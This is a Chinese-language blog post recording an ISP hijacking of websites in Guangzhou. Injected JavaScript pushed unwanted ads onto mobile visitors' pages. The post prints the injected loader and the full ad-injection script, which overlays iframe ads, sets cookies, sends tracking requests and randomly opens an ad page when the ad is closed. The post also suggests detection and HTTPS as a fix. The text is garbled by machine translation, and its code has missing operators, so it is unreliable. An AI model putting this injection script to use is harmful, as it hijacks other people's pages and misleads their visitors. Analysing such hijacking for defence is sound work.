广州市经营商网站js被劫持一些纪录

2021-04-03 02:25 jianzhan

广告宣传:使用云服务器必需,中国云服务器器88元/年起,一年/三年可选择

有关经营商互联网被劫持 :

状况:客户手机上浏览网站会出现信息内容提醒广告宣传,或以大红包按键提醒或以信息照片提醒(非本站广告宣传)。同时捕捉时网页页面js脚本制作被引入下列编码:

var _atn_obj_ = new Object;

_atn_obj_.oldurl = 'scripts/public.js?cHVzaA=';

_atn_obj_.unified_url = 'ess?SP=ABys7My4PPzc/HzcrJz8nOzL/OyczRmJuDtt/OztHP0dLOg82Dy8vPzs/Pg86DzsrNycvKysnOy4POys3Jy8rKyc7Lz8jIzs3HyYPNx8rH';

window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);

window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);

或是:2481m.js

申请注册人力资源料:p>

重要词:有关经营商互联网被劫持 互联网被劫持,网页页面js被掩藏更换 广东省电信网经营商HTTP被劫持 Header被劫持、js被劫持 网页页面內容伪造 总流量被劫持

客户端被劫持的分辨方式:只需观查访问器展现的网页页面前端开发编码,查询是不是引入了不善的js,或是其他比较敏感內容。每一次浏览网页页面从服务端获得到的网页页面编码全是同样的,仅仅操纵了网页页面编码在访问器中展现的实际效果(例如是不是开展自动跳转等)。

处理方法:投拆或是网站选用 https数据加密方式

编码剖析:

var _pushshowjs_ = new Object;

_pushshowjs_.expires = 10;

_pushshowjs_.param = '101928|80|80|10|1|1|';

_pushshowjs_.url = 'adauto/ads/?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/LysrOzsuDzYPPg82Dx8bIycfMx8/LysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';

_pushshowjs_.adtype = '1';

_pushshowjs_.feedurl = 'feedback';

_pushshowjs_.eparam = '?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/LysrOzsuDzYPPg82Dx8bIycfMx8/LysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';

= '';

_pushshowjs_.closeispush = '0';

_pushshowjs_.isAutoClose = '1';

_pushshowjs_.closeTimes = '0';

_pushshowjs_.israndom = '0';

_pushshowjs_.randomval = '20.0';

_pushshowjs_.forwordurl = 'index/activity?appKey=2PDTFgutrDMro9q9by3EuB2u3S6c adslotId=5583';

_pushshowjs_.clickcode = '';

window.setTimeout(function() {

var a = document.createElement("script");

a.type = 'text/javascript';

a.src = 'pushjs/embed_mobile_V1.js';

a.src += a.src.indexOf('?') == -1 ? '?' : '

a.src += 't=' + (new Date().getTime());

if (_pushshowjs_.adtype != '4') {

document.getElementsByTagName("head")[0].appendChild(a);

} else {

document.getElementsByTagName("body")[0].appendChild(a);

 

a = document.createElement("script");

a.type = 'text/javascript';

a.src = 'pushjs/embed_mobile_V1.js';

document.getElementsByTagName("body")[0].appendChild(a);

}

}, 0);

embed_mobile_V1.js 內容:

 

var _oP78_000=objview78_000(_pushshowjs_.url);

var _czc = _czc || [];

function objview78_000(url){

var obj=new Object;

obj.expires = _pushshowjs_.expires ? _pushshowjs_.expires : 10;

obj.param = _pushshowjs_.param;

obj.iWidth = 320;

obj.iHeight = 240;

obj.centerWid = 0;

obj.centerHeig = 0;

obj.iPosition = 1;

obj.iBorder = 1;

obj.iShowType = 1;

obj.bHadShow = false;

obj.sInterval = 5;

obj.bNeedShow = false;

obj.bShowing = false;

obj.hHandle; // the handle of scroll timer;

obj.hCheckAD; // the handle of adchecker timer;

obj.arralreadysend = false; //

obj.iPid = 0;

obj.base_url = _pushshowjs_.baseurl;

obj.url = url;

obj.elmHeight = 0;

obj.policyParam = '';

obj.closeispush = _pushshowjs_.closeispush;

obj.feedbackurl = _pushshowjs_.feedurl;

obj.israndom = _pushshowjs_.israndom;

obj.randomval = _pushshowjs_.randomval;

obj.forwordurl = _pushshowjs_.forwordurl;

obj.clickcode = _pushshowjs_.clickcode;

obj.isAutoClose = _pushshowjs_.isAutoClose != null typeof(_pushshowjs_.isAutoClose) != "undefined" !isNaN(_pushshowjs_.isAutoClose) ? _pushshowjs_.isAutoClose : 1;

obj.closeTimes = _pushshowjs_.closeTimes != null typeof(_pushshowjs_.closeTimes) != "undefined" !isNaN(_pushshowjs_.closeTimes) ? _pushshowjs_.closeTimes : 0;

 

obj.GetViewHtml = function(){

var str = '';

if(obj.iPosition == 1 || obj.iPosition == 11){

str = str + ' div id="_embed_v3_dc"

}else if(obj.iPosition == 10){

str = str + ' div id="_embed_v3_dc"

}else{

str = str + ' div id="_embed_v3_dc"

}

if(obj.iPosition == 10){

str = str + ' div id="_embed_v3_hd_r" img src="pushjs/x.png" /

str = str + ' div id="_embed_v3_hd"

str = str + ' div id="_embed_v3_hd_l" /div

str = str + ' div id="_embed_v3_hd_c" /div

str = str + ' /div /div

}else if(obj.iPosition == 1){

str = str + ' div id="_embed_v3_hd"

str = str + ' div id="_embed_v3_hd_l" /div

str = str + ' div id="_embed_v3_hd_c" /div

str = str + ' div id="_embed_v3_hd_r" img src="pushjs/x.png" / /div

str = str + ' /div

}else if (obj.iPosition == 11){

str = str + ' div id="_embed_v3_hd"

str = str + ' div id="_embed_v3_hd_l" /div

str = str + ' div id="_embed_v3_hd_c" /div

str = str + ' div id="_embed_v3_hd_r" img src="pushjs/tm.png" / /div

str = str + ' /div

}else if (obj.iPosition == 13){

str = str + ' div id="_embed_v3_hd_r" img src="pushjs/tm.png" /

str = str + ' div id="_embed_v3_hd"

str = str + ' div id="_embed_v3_hd_l" /div

str = str + ' div id="_embed_v3_hd_c" /div

str = str + ' /div /div

}else{

str = str + ' div id="_embed_v3_hd_r" img src="pushjs/normalclose.png" /

str = str + ' div id="_embed_v3_hd"

str = str + ' div id="_embed_v3_hd_l" /div

str = str + ' div id="_embed_v3_hd_c" /div

str = str + ' /div /div

}

str = str + ' div id="_embed_v3_main" iframe id="_embed_v3_frmc" scrolling="no" name="_embed_v3_frmc" src="'+obj.url+'" /iframe /div

str = str + ' div id="_embed_v3_ft" /div

str = str + ' /div

if(obj.iPosition == 21){

str = ' div id="content"

 

str = str + ' div id="contentleft"

 

str = str + ' span To /span /div

 

str =str+' div id="contentcenter" img src="pushjs/point.png" /

 

str = str + ' span iframe src="'+obj.url+'" /iframe /span

 

str = str + ' span 广告宣传 /span /div

 

str = str +' div id="contentright" img src="pushjs/arrow.png" / /div

 

str = str +' style type="text/css" #close:after{ background-color: rgba(89, 141, 224, 0.5); content: ""; left: 50%; margin-left: -0.4vw; height: 2.3vw; position: absolute; bottom: 0; width:0.7vw; z-index: 1;} /style

 

str = str + ' div id="close" img src="pushjs/mbclose.png" / /div /div

}

//alert(str);

return str;

};

 

obj.autoClose = function(){

//alert(obj.isAutoClose + "|" + obj.closeTimes);

if(obj.isAutoClose == 0){

var cTimes = obj.closeTimes * 1000;

//document.getElementById('_embed_v3_dc').style.display='none';

//document.getElementById('_embed_v3_frmc').src='';

setTimeout("document.getElementById('_embed_v3_dc').style.display='none';document.getElementById('_embed_v3_frmc').src='';",cTimes);

if(obj.closeispush == 1){

var URL = _pushshowjs_.feedurl;

var path = _pushshowjs_.eparam;

path=decodeURIComponent(path);

path=path.replace(' ','+');

 

if (path != "") {

path = URL + path + " stype=5";

} else {

path = URL;

}

var xhr;

if (window.XMLHttpRequest) {

xhr = new XMLHttpRequest();

} else {

xhr = new ActiveXObject("Microsoft.XMLHTTP");

}

xhr.open("get", path, true);

xhr.onreadystatechange = function(data) {

if (xhr.readyState == 4) {

if (xhr.status == 200) {

/*if(stype==0){

//实名认证消息推送获得內容更换占位性病变符

replaceContent(xhr.responseText);

}else if(stype==3){

closePage();

}*/

}

}

}

 

xhr.send();

}

}

};

 

obj.getParams = function() {

var paramarray = obj.param.split("|");

obj.SetCookie(obj.policyParam,obj.policyParam, { expires: obj.expires, path: '/' });

try {

//obj.iWidth = parseInt(paramarray[0], 10);

obj.iWidth = document.body.clientWidth;

obj.iPosition = parseInt(paramarray[3], 10);

if(obj.iPosition == 1 || obj.iPosition == 11){

obj.iHeight = 60;

}else if (obj.iPosition == 13){

obj.iHeight = 60;

}else {

obj.iHeight = 80;

}

if(obj.iPosition==5){

//obj.iHeight = 240;

//obj.iWidth=220;

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

obj.centerWid = parseInt(paramarray[2], 10);

obj.centerHeig = parseInt(paramarray[1], 10);

}else if(obj.iPosition==9){

//obj.iHeight = 42;

//obj.iWidth=283;

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

}else if(obj.iPosition==10){

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

obj.centerWid = parseInt(paramarray[2], 10);

obj.centerHeig = parseInt(paramarray[1], 10);

}

//obj.iBorder = parseInt(paramarray[4], 10);

obj.iBorder = 1;

obj.iShowType = parseInt(paramarray[5], 10);

 

} catch (e) {

obj.iWidth = 320;

obj.iHeight = 240;

obj.iPosition = 1;

obj.iBorder = 1;

obj.iShowType = 1;

 

}

//alert(obj.iPosition);

//var useragentstr = navigator.userAgent;

//useragentstr = useragentstr.toLowerCase()

 

//alert(useragentstr);

};

obj.getPolicyParam = function(){

return obj.param;

};

obj.getStyle = function(el, style) {

if (!document.getElementById) return;

var value = el.style[obj.toCamelCase(style)];

if (!value) if (document.defaultView) value = document.defaultView.getComputedStyle(el, "").getPropertyValue(style);

else if (el.currentStyle) value = el.currentStyle[obj.toCamelCase(style)];

return value;

};

obj.setStyle = function(objId, style, value) {

document.getElementById(objId).style[style] = value;

};

obj.toCamelCase = function(sInput) {

var oStringList = sInput.split('-');

if (oStringList.length == 1) return oStringList[0];

var ret = sInput.indexOf("-") == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0];

for (var i = 1,len = oStringList.length; i len; i++) {

var s = oStringList[i];

ret += s.charAt(0).toUpperCase() + s.substring(1);

}

return ret;

};

obj.add_css = function(str_css) {

var style;

if (document.createStyleSheet) {

style = document.createStyleSheet();

style.cssText = str_css;

} else {

style = document.createElement("style");

style.type = "text/css";

style.textContent = str_css;

document.getElementsByTagName("head")[0].appendChild(style);

}

};

obj.DrawAdDiv = function(iStyle) {

//iStyle: 1:no border; 2:qq style;3:sina style

//no border

if (iStyle == 1) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + "px");

//obj.setStyle('_embed_v3_dc', "position", "fixed");

//obj.setStyle('_embed_v3_hd_l', "text-indent", "-9999px");

//document.getElementById("_embed_v3_hd_c").innerHTML = " nbsp;";

//document.getElementById("_embed_v3_btnc").style.cssText = "width:20px; height:14px; float:right; background-color:Silver; font-size:12px; cursor:pointer; text-align:center; position:relative; z-index:9999; margin:-14px 5px 0 0;";

document.getElementById("_embed_v3_main").style.cssText = "position:absolute; top:20; left:0; z-index:9997;overflow:hidden;";

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

}

//2:qq style;

if (iStyle == 2) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 24 + 5 + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");

obj.setStyle('_embed_v3_dc', "position", "fixed");

document.getElementById("_embed_v3_hd").style.cssText = 'height:24px; overflow:hidden;';

obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");

document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:24px;background:url("'+obj.base_url+'images/qqstyle_01.gif") no-repeat; text-indent:-9999px; float:left;';

document.getElementById("_embed_v3_hd_c").style.cssText = 'height:24px; background:url("'+obj.base_url+'images/qqstyle_02.gif") repeat-x; float:left;';

obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 20 + "px");

document.getElementById("_embed_v3_hd_r").style.cssText = 'width:20px; height:24px; float:left;';

document.getElementById("_embed_v3_btnc").style.cssText = 'width:20px;height:24px;float:right; background:url("'+obj.base_url+'images/qqstyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;cursor:pointer;';

document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

document.getElementById("_embed_v3_ft").style.cssText = 'height:5px; background:#bddefd;';

obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");

}

//3:sina style

if (iStyle == 3) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 27 + 5 + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");

obj.setStyle('_embed_v3_dc', "position", "fixed");

document.getElementById("_embed_v3_hd").style.cssText = 'height:27px; overflow:hidden;';

obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");

document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:27px;background:url("'+obj.base_url+'images/sinastyle_01.gif") no-repeat; text-indent:-9999px; float:left;';

document.getElementById("_embed_v3_hd_c").style.cssText = 'height:27px; background:url("'+obj.base_url+'images/sinastyle_02.gif") repeat-x; float:left;';

obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 65 + "px");

document.getElementById("_embed_v3_hd_r").style.cssText ='width:65px; height:27px; float:left;cursor:pointer;';

document.getElementById("_embed_v3_btnc").style.cssText ='width:65px;height:27px; float:right; background:url("'+obj.base_url+'images/sinastyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;';

document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

document.getElementById("_embed_v3_ft").style.cssText ='height:5px; background:#bddefd;';

obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");

}

};

obj.ShowIt = function(elmHeight) {

if (obj.bHadShow || obj.bShowing) return;

obj.bShowing = true;

obj.setStyle('_embed_v3_dc', 'display', '');

if (obj.iShowType == 1) {

obj.setStyle('_embed_v3_dc', 'height', elmHeight + "px");

obj.bHadShow = true;

obj.bShowing = false;

} else {

obj.elmHeight = elmHeight;

obj.hHandle = setInterval(obj.scrollit, obj.sInterval);

}

};

 

obj.scrollit = function() {

var currh = parseInt(obj.getStyle(document.getElementById("_embed_v3_dc"), "height"));

currh++;

obj.setStyle('_embed_v3_dc', 'height', currh + "px");

if (currh = obj.iHeight) {

obj.bHadShow = true;

obj.bShowing = false;

clearInterval(obj.hHandle);

clearInterval(obj.hCheckAD);

}

};

obj.Get_scroll_70e=(patMode=="CSS1Compat")?document.documentElement:document.body;

obj.PositionIE = function(){

if (/msie (\d+\.\d)/i.test(navigator.userAgent)) {

var q=parseFloat(RegExp.$1);

return (q =patMode!="BackCompat");

}else return true;

};

obj.xcy_move = function(){

if(obj.Get_scroll_70e==null){

obj.Get_scroll_70e=(patMode=="CSS1Compat")?document.documentElement:document.body;

}

var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));

var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

//alert("top="+obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight);

//alert("left="+obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth);

obj.setStyle('_embed_v3_dc', "left", parseInt(obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth) + "px");

obj.setStyle('_embed_v3_dc', "top", (obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight) + "px");

};

obj.locatead = function(showad){

var posLeft = 0;

var posTop = 0;

//FixDomain();

var docWidth = obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth;

var docHeight = obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight;

var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));

var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

var w = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "width"));

var h = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "height"));

//alert(obj.iPosition+"-"+docWidth+"|"+docHeight+"*"+dcWidth+"|"+dcHeight);

//alert(docHeight+"|"+dcHeight);

switch (obj.iPosition) {

case 1:

obj.setStyle('_embed_v3_dc', "top", "0px");

//obj.setStyle('_embed_v3_dc', "top", "0px");

//obj.setStyle('_embed_v3_dc', "left", "0px");

//obj.setSytle('_embed_v3_dc', "width", obj.iWidth+"px");

break;

case 2:

obj.setStyle('_embed_v3_dc', "left", "0px");

obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

break;

case 3:

//obj.setStyle('_embed_v3_dc', "left", "0px");

//var useragentstr = navigator.userAgent;

//alert(useragentstr);

//useragentstr = useragentstr.toLowerCase();

//alert(useragentstr.indexOf("iphone"));

//alert(useragentstr.indexOf("ucbrowser"));

//if(useragentstr.indexOf("iphone") -1 ){

 

//if(useragentstr.indexOf("ucbrowser") -1 || useragentstr.indexOf("sogoumobilebrowser") -1 ){

 

// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight-44) + "px");

 

//}else{

//// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

//}

 

//}else{

// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

//}

 

 

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 4:

obj.setStyle('_embed_v3_dc', "top", "0px");

obj.setStyle('_embed_v3_dc', "left", "0px");

break;

case 5:

//if(docWidth docHeight){

//obj.setStyle('_embed_v3_dc', "left", "30%");

//}else{

//obj.setStyle('_embed_v3_dc', "left", "8%");

//}

obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");

//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");

//obj.setStyle('_embed_v3_dc', "top", "25%");

obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - obj.centerHeig))/2 +"px");

//obj.setStyle('_embed_v3_frmc',"height","100%");

//obj.setStyle('_embed_v3_frmc',"width","85%");

obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");

obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");

obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");

break;

case 6:

obj.setStyle('_embed_v3_dc', "left", "0px");

obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

break;

case 7:

//obj.setStyle('_embed_v3_dc', "top", "0px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 8:

//obj.setStyle('_embed_v3_dc', "left", "0px");

//obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 9:

//obj.setStyle('_embed_v3_dc', "left", (docWidth - dcWidth) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", (docHeight - dcHeight) + "px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 10:

obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid)) + "px");

//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");

//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");

//obj.setStyle('_embed_v3_dc', "top", "25%");

obj.setStyle('_embed_v3_dc', "top", "60%");

//obj.setStyle('_embed_v3_frmc',"height","100%");

//obj.setStyle('_embed_v3_frmc',"width","85%");

obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");

obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");

obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");

break;

case 11:

obj.setStyle('_embed_v3_dc', "top", "0px");

break;

case 13:

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

}

//CheckScreenSize();

//if (obj.bHadShow == false showad !obj.bShowing) {

// obj.setStyle('_embed_v3_dc', "height", "0px");

// if (parseInt(getStyle($('dc'), 'top')) + dcHeight == docHeight) {

// setStyle('dc', "top", "");

// setStyle('dc', "bottom", "0px");

// }

// ShowIt(dcHeight);

//}

 

if (obj.bHadShow == false showad !obj.bShowing) {

//var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

obj.setStyle('_embed_v3_dc', "height", "0px");

obj.ShowIt(dcHeight);

obj.hCheckAD=window.setInterval(obj.resize,100);

//obj.iframecontent();

}

};

obj.resize = function(){

obj.iWidth = document.body.clientWidth;

obj.DrawAdDiv(obj.iBorder);

obj.locatead(false);

};

obj.iframecontent = function(){

try{

var aa =document.getElementById("_embed_v3_frmc").contentWindow.document.body.innerHTML;

}catch(e){}

};

obj.view = function(){

if(obj.adcheck()) return;

obj.getParams();

//document.writeln(obj.GetViewHtml());

var a=document.createElement("div");

a.innerHTML= obj.GetViewHtml();

if(_pushshowjs_.israndom == 0){

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.src = "z_stat.php?id="+_oP78_000.clickcode+" web_id="+_oP78_000.clickcode;

a.appendChild(newScript);

}

//document.body.appendChild(a);

if(obj.iPosition == 1 || obj.iPosition == 11){

document.getElementsByTagName("body")[0].insertBefore(a,document.getElementsByTagName("body")[0].firstChild);

}else{

document.body.appendChild(a);

}

obj.setStyle("_embed_v3_dc", "display", "none");

 

obj.bNeedShow = true;

if (!obj.bShowing !obj.bHadShow){

obj.dispad();

}

obj.autoClose();

};

obj.adcheck = function() {

if(location.href.indexOf("gd.") =0) return true;

var isIf = false;

try{

if(self != top){

isIf = true;

}}catch(e){

//假如是在和父网页页面不一样域

isIf = true;

}

return isIf;

};

obj.dispad = function() {

if (obj.bShowing == false obj.bNeedShow) {

obj.DrawAdDiv(obj.iBorder);

obj.locatead(true);

}

};

obj.trim = function(text){

return (text || "").replace(/^\s+|\s+$/g, "");

};

obj.GetCookie = function(name){

var cookieValue = null;

if (document.cookie document.cookie != '') {

var cookies = document.cookie.split(';');

for (var i = 0; i cookies.length; i++) {

var cookie = obj.trim(cookies[i]);

if (cookie.substring(0, name.length + 1) == (name + '=')) {

cookieValue = decodeURIComponent(cookie.substring(name.length + 1));

break;

}

}

}

return cookieValue;

};

obj.SetCookie = function(name, value, options) {

options = options || {};

if (value === null) {

value = '';

options.expires = -1;

} var expires = '';

if (options.expires (typeof options.expires == 'number' || options.expires.toUTCString)) {

var date;

if (typeof options.expires == 'number') {

date = new Date();

date.setTime(date.getTime() + (options.expires * 1000));

} else {

date = options.expires;

}

expires = '; expires=' + date.toUTCString();

}

var path = options.path ? '; path=' + (options.path) : '';

var domain = options.domain ? '; domain=' + (options.domain) : '';

var secure = options.secure ? '; secure' : '';

document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');

};

 

obj.removePosition = function (){

if(obj.iPosition == 1 || obj.iPosition == 11){

var classElements=[],allElements=document.getElementsByTagName('*');

for(var i=0;i allElements.length;i++){

if(allElements[i].className == "header"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "tm-mobile-header"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "tag-box"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "inp-search"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "km-tab g-tab"){

allElements[i].style.cssText = "position:inherit;";

}

if(allElements[i].className == "sch_new sch_new_"){

allElements[i].style.cssText = "position:fixed;";

}

//特色美食天地

if(allElements[i].className == "topbar"){

allElements[i].style.cssText = "position:inherit;";

}

//优酷视频

if(allElements[i].className == "yk-header-container"){

allElements[i].style.cssText = "position:inherit;";

}

//搜狐网

if(allElements[i].className == "h_min_w "){

allElements[i].style.cssText = "position:inherit;";

}

//搜狐网

if(allElements[i].className == "h_min_w"){

allElements[i].style.cssText = "position:inherit;";

}//360新闻报道

if(allElements[i].className == "view current"){

allElements[i].style.cssText = "position:inherit;";

}//360新闻报道

if(allElements[i].className == "p-article view curr-article current"){

allElements[i].style.cssText = "position:inherit;";

}

//携程网

if(allElements[i].className == "search-index js_search_index"){

allElements[i].style.cssText = "position:inherit;";

}//糗百网

//if(allElements[i].className == "animated fast clearfix headroom"){

// alert(111111);

//allElements[i].style.cssText = "position:inherit;";

//}

 

}

}

};

 

return obj;

}

//获得目标款式标准信息内容,IE下应用currentStyle

function getStyle(obj,style){

return obj.currentStyle?obj.currentStyle[style]:getComputedStyle(obj,false)[style];

}

//原生态js动漫相近jquery--animate

function animate(obj,styleJson,callback){

clearInterval(obj.timer);

// 打开定时执行器

obj.timer=setInterval(function(){

var flag=true;//假定全部姿势早已进行创立。

for(var styleName in styleJson){

//1.取当今特性值

var iMov=0;

// 全透明度是小数,因此得独立解决

iMov=styleName=='opacity'?Math.round(parseFloat(getStyle(obj,styleName))*100):parseInt(getStyle(obj,styleName));

//2.测算速率

var speed=0;

speed=(styleJson[styleName]-iMov)/8;//缓存解决,这里还可以是固定不动值

speed=speed 0?Math.ceil(speed):Math.floor(speed);//区别全透明度及小数点,往上取整,往下取整

 

//3.分辨是不是抵达预订值

if(styleJson[styleName]!=iMov){

flag=false;

if(styleName=='opacity'){//分辨結果是不是为全透明度

obj.style[styleName]=(iMov+speed)/100;

obj.style.filter='alpha(opacity:'+(iMov+speed)+')';

}else{

obj.style[styleName]=iMov+speed+'px';

}

}

}

if(flag){//抵达设置值,终止定时执行器,实行回调函数

clearInterval(obj.timer);

if(callback){callback();}

}

},10)

}

//右侧箭头符号的点一下

function left() {

//document.getElementById('content').style.width = "80%";

 

document.getElementById('contentright').style.display = "block";

document.getElementById('close').style.display = "block";

 

 

animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.8)},function(){document.getElementById('contentcenter').style.display = "block";document.getElementById('content').style.width=80+'vw';});

 

 

}

//左侧TO的点一下

function right() {

//document.getElementById('content').style.width = "14%";

document.getElementById('contentcenter').style.display = "none";

document.getElementById('contentright').style.display = "none";

document.getElementById('close').style.display = "none";

 

animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.14)},function(){document.getElementById('content').style.width=14+'vw';});

}

function closemodel(closeispush) {

//关掉的点一下

document.getElementById('content').style.display = "none";

sendfeedback(6);

if(closeispush == 1){

sendfeedback(5);

}else if(_pushshowjs_.israndom == 0){

var rval = Number(_pushshowjs_.randomval) * 100;

var rand = Math.ceil(Math.random()*10000);

//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);

if(rval = rand){

//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();

//var abc = decodeURIComponent(_oP78_000.clickcode);

/*abc = abc.replace(/\+/g, "");

var html = 'function zzclick(){'+abc+'}';

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.innerHTML = html;

a.appendChild(newScript);*/

_czc.push(["ount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);

sendfeedback(9);

window.open(_oP78_000.forwordurl);

}

}

}

function clickCloseFeedback(closeispush){

document.getElementById('_embed_v3_dc').style.display='none';

document.getElementById('_embed_v3_frmc').src='';

sendfeedback(6);

if(closeispush == 1){

sendfeedback(5);

}else if(_pushshowjs_.israndom == 0){

var rval = Number(_pushshowjs_.randomval) * 100;

var rand = Math.ceil(Math.random()*10000);

//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);

if(rval = rand){

//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();

//var abc = decodeURIComponent(_oP78_000.clickcode);

/*abc = abc.replace(/\+/g, "");

var html = 'function zzclick(){'+abc+'}';

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.innerHTML = html;

a.appendChild(newScript);*/

_czc.push(["ount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);

sendfeedback(9);

window.open(_oP78_000.forwordurl);

}

}

};

function sendfeedback(stype){

var URL = _pushshowjs_.feedurl;

var path = _pushshowjs_.eparam;

path=decodeURIComponent(path);

path=path.replace(' ','+');

 

if (path != "") {

path = URL + path + " stype="+stype;

} else {

path = URL;

}

var xhr;

if (window.XMLHttpRequest) {

xhr = new XMLHttpRequest();

} else {

xhr = new ActiveXObject("Microsoft.XMLHTTP");

}

xhr.open("get", path, true);

xhr.onreadystatechange = function(data) {

if (xhr.readyState == 4) {

if (xhr.status == 200) {

/*if(stype==0){

//实名认证消息推送获得內容更换占位性病变符

replaceContent(xhr.responseText);

}else if(stype==3){

